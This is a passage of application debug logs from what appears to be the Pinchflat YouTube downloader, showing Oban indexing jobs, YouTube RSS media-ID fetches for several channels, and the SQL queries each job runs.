db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:33.754 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 19:11:33.777 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:11:33.777 [debug] QUERY OK source="media_items" db=0.1ms idle=23.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:11:33.779 [debug] QUERY OK source="media_items" db=1.7ms idle=23.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:11:33.780 [debug] QUERY OK source="tasks" db=0.0ms idle=25.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [759, 3, ~U[2026-07-24 19:11:33Z], ~U[2026-07-24 19:11:33Z]] 19:11:33.780 [info] {"args":{"id":3},"id":756,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":27004,"event":"job:stop","queue_time":608682,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:11:33.780 [debug] QUERY OK source="tasks" db=0.4ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:11:57.511 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.898 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:27.512 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:57.513 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.899 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:27.514 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:57.515 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.899 [info] {"source":"oban","duration":39,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:27.516 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:57.517 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.901 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:27.518 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:57.519 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.902 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:27.520 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:57.521 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.903 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:27.522 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:57.523 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.903 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:27.525 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:57.526 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.904 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:27.527 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:57.528 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.906 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:27.529 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:57.530 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.906 [info] {"source":"oban","duration":92,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:09.342 [info] {"args":{"id":2},"id":757,"meta":{},"system_time":1784920869342157554,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:21:09.342 [debug] QUERY OK source="sources" db=0.0ms idle=1973.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:21:09.342 [debug] QUERY OK source="tasks" db=0.1ms idle=1006.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:21:09.342 [debug] QUERY OK source="settings" db=0.1ms idle=973.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:09.342 [debug] QUERY OK source="sources" db=0.2ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:21:09.342 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:21:09.343 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:09.343 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 19:21:10.070 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:21:10.071 [debug] QUERY OK source="media_items" db=0.2ms idle=728.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:21:10.071 [debug] QUERY OK source="media_items" db=0.2ms idle=728.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:21:10.072 [debug] QUERY OK source="tasks" db=0.0ms idle=728.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [760, 2, ~U[2026-07-24 19:21:10Z], ~U[2026-07-24 19:21:10Z]] 19:21:10.072 [info] {"args":{"id":2},"id":757,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":729999,"event":"job:stop","queue_time":360629,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:21:10.072 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:21:19.353 [info] {"args":{"id":1},"id":758,"meta":{},"system_time":1784920879353080125,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:21:19.353 [debug] QUERY OK source="sources" db=0.1ms idle=1984.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:21:19.353 [debug] QUERY OK source="tasks" db=0.2ms idle=1984.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:21:19.353 [debug] QUERY OK source="settings" db=0.0ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:19.353 [debug] QUERY OK source="sources" db=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:21:19.353 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:21:19.354 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:19.354 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 19:21:19.548 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:21:19.548 [debug] QUERY OK source="media_items" db=0.3ms idle=195.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:21:19.551 [debug] QUERY OK source="media_items" db=2.2ms idle=195.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:21:19.552 [debug] QUERY OK source="tasks" db=0.0ms idle=197.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [761, 1, ~U[2026-07-24 19:21:19Z], ~U[2026-07-24 19:21:19Z]] 19:21:19.552 [info] {"args":{"id":1},"id":758,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":199103,"event":"job:stop","queue_time":228822,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:21:19.552 [debug] QUERY OK source="tasks" db=0.3ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:21:27.531 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:34.370 [info] {"args":{"id":3},"id":759,"meta":{},"system_time":1784920894370191796,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:21:34.370 [debug] QUERY OK source="sources" db=0.1ms idle=1001.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:21:34.370 [debug] QUERY OK source="tasks" db=0.1ms idle=1001.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:21:34.370 [debug] QUERY OK source="settings" db=0.0ms idle=1001.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:34.370 [debug] QUERY OK source="sources" db=0.1ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:21:34.370 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:21:34.371 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:21:34.371 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 19:21:34.548 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", 